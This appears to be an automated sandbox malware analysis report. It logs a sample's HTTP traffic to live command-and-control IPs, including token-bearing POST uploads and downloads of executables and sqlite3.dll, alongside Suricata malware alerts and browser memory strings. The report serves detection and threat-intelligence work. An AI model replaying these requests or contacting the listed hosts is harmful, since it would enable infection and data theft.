Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 34 65 61 65 63 33 66 66 37 64 38 62 64 30 32 33 35 38 65 62 64 32 39 38 30 32 38 62 33 61 66 61 62 33 32 62 61 62 65 32 34 39 62 34 35 61 33 30 39 31 33 33 33 39 37 61 61 64 31 66 34 33 38 32 31 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 2d 2d 0d 0a Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="message"fplugins------DHIJDHIDBGHJKECBFIID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIJDBKEGIDHIDAFCFHost: 185.215.113.206Content-Length: 5387Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013608001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 36 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013609001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 31 32 63 61 63 34 65 61 65 63 33 66 66 37 64 38 62 64 30 32 33 35 38 65 62 64 32 39 38 30 32 38 62 33 61 66 61 62 33 32 62 61 62 65 32 34 39 62 34 35 61 33 30 39 31 33 33 33 39 37 61 61 64 31 66 34 33 38 32 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 2d 2d 0d 0a Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"812cac4eaec3ff7d8bd02358ebd298028b3afab32babe249b45a309133397aad1f43821d------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file"------KJKKKJJJKJKFHJJJJECB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 80.82.65.70 80.82.65.70

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49833 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49855 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49872 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49879 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49887 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49874 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49894 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49906 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49901 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49913 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49921 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49934 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49937 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49915 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49895 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49948 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49967 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49972 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49984 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49993 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50042 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50041 -> 104.21.64.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A9E0C0 recv,recv,recv,recv,

0_2_00A9E0C0

Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/Duration of the experiment from the start date in days. Note that this property is only used during the analysis phase (not by the SDK) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/Duration of the experiment from the start date in days. Note that this property is only used during the analysis phase (not by the SDK) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ 